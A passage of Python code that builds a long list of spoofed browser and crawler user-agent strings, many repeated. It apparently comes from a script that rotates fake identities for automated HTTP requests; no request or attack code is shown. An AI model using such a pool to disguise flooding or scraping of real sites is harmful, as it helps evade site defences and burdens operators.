  2544.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2545.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2546.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2547.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2548.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2549.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2550.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2551.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2552.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2553.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2554.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2555.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2556.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2557.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2558.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2559.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2560.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2561.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2562.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2563.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2564.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2565.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2566.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2567.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2568.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2569.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2570.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2571.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2572.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2573.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2574.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2575.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2576.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2577.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2578.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2579.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2580.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2581.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2582.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2583.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2584.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2585.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2586.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2587.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2588.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2589.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2590.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2591.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2592.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2593.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2594.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2595.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2596.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2597.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2598.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2599.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2600.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2601.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2602.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2603.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2604.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2605.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2606.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2607.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2608.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2609.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2610.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2611.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2612.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2613.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2614.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2615.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  2616.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  2617.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  2618.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  2619.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  2620.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2621.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2622.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  2623.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  2624.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  2625.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  2626.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  2627.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2628.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2629.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2630.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2631.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  2632.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2633.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  2634.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  2635.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  2636.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  2637.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2638.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  2639.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  2640.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  2641.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  2642.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  2643.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  2644.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  2645.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  2646.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  2647.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  2648.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  2649.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2650.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2651.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  2652.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  2653.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  2654.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  2655.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2656.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  2657.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2658.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  2659.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  2660.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  2661.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  2662.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2663.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  2664.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  2665.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  2666.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  2667.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2668.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2669.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2670.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2671.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2672.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2673.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2674.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2675.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2676.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2677.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2678.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2679.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2680.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2681.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2682.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2683.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2684.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2685.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2686.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2687.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2688.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2689.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2690.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2691.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2692.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2693.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2694.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2695.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2696.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2697.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2698.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2699.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2700.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2701.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2702.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2703.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2704.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2705.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2706.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2707.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2708.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2709.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2710.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2711.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2712.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2713.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2714.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2715.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2716.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2717.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2718.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2719.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2720.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2721.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2722.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2723.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2724.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2725.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2726.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2727.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  2728.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2729.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  2730.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  2731.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  2732.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  2733.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  2734.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  2735.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  2736.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  2737.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  2738.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2739.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  2740.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  2741.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  2742.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  2743.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
